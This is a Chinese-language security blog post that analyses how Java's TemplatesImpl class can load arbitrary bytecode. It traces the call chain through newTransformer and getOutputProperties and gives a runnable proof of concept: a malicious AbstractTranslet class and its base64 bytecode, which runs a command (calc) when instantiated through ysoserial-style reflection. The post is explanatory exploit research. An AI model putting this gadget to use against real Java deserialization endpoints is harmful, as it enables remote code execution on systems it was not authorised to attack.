利用TemplatesImpl加载字节码

一、TemplatesImpl

虽然大部分上层开发者不会直接使用到defineClass方法,但是Java底层还是有一些类用到了它(否则他 也没存在的价值了对吧),这就是TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类 TransletClassLoader
这个类里重写了defineClass 方法,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个 方法没有显式声明作用域,其作用域为default,为包作用域, 即可以在同一个包内被调用 。所以也就是说这里的defineClass 由其父类的 protected类型变成了一个default类型的方法,可以被类外部调用。

二、调用分析

我们从TransletClassLoader#defineClass() 向前追溯一下调用链:
  • TemplatesImpl 类中只有一个方法 TemplatesImpl#defineTransletClasses 用到了 TransletClassLoader 类,但是 TemplatesImpl#defineTransletClasses 是 private 类型。继续跟看哪调用了 TemplatesImpl#defineTransletClasses 方法。
  • 有三个方法调用了 TemplatesImpl#defineTransletClasses(), 其中 TemplatesImpl#getTransletIndex() 是 public 类型的TemplatesImpl#getTransletClasses() 和 TemplatesImpl#getTransletInstance() 是 private 属性的
public synchronized int getTransletIndex()            //直接调用发现没有成功
private synchronized Class[] getTransletClasses()
private Translet getTransletInstance()
这里可以尝试直接用 TemplatesImpl#getTransletIndex(),那么调用链如下:但是发现并没有成功。
TemplatesImpl#getTransletIndex() -> TemplatesImpl#defineTransletClasses() -> TemplatesImpl#defineTransletClasses() -> defineClass
  • 继续跟 TemplatesImpl#getTransletClasses() 和 TemplatesImpl#getTransletInstance(), TemplatesImpl 类中已经没有调用 getTransletClasses() 的方法了,而 getTransletInstance() 方法在 public synchronized Transformer newTransformer 方法中被调用了,所以构造如下链,P牛用的就是如下的链。
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() ->TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()  
  • 再继续跟进 TemplatesImpl#newTransformer() 发现 TemplatesImpl#getOutputProperties() 调用了 TemplatesImpl#newTransformer() 并且它也是 public 类型的,如下也成功触发。(这一利用链也正好符合了fastjson的利用条件)
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

三、利用分析:

1.setFieldValue 方法是ysoserial中用来设置私有属性的
  • _bytecodes 是由字节码组成的数组;
  • _name 可以是任意字符串,只要不为null即可;
  • _tfactory 需要是一个TransformerFactoryImpl 对象,因为 TemplatesImpl#defineTransletClasses() 方法里有调用到 _tfactory.getExternalExtensionsMap() ,如果是null会出错。
2.TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须 是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。
  • 例如如下代码中继承了AbstractTranslet。
  • 构造函数中执行calc弹出计算器。
package com.TemplastesImplTest;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class codeTest extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    public codeTest() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}
  • 进行base64编码
  • 替换到图下code对象代码中,执行即可弹出计算器
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.util.Base64;
import static ysoserial.payloads.util.Reflections.setFieldValue;

public class TemplatesTest {
    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "test");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        obj.newTransformer();
    }
}
参考:
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Thunderclap_

点赞、关注加收藏~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值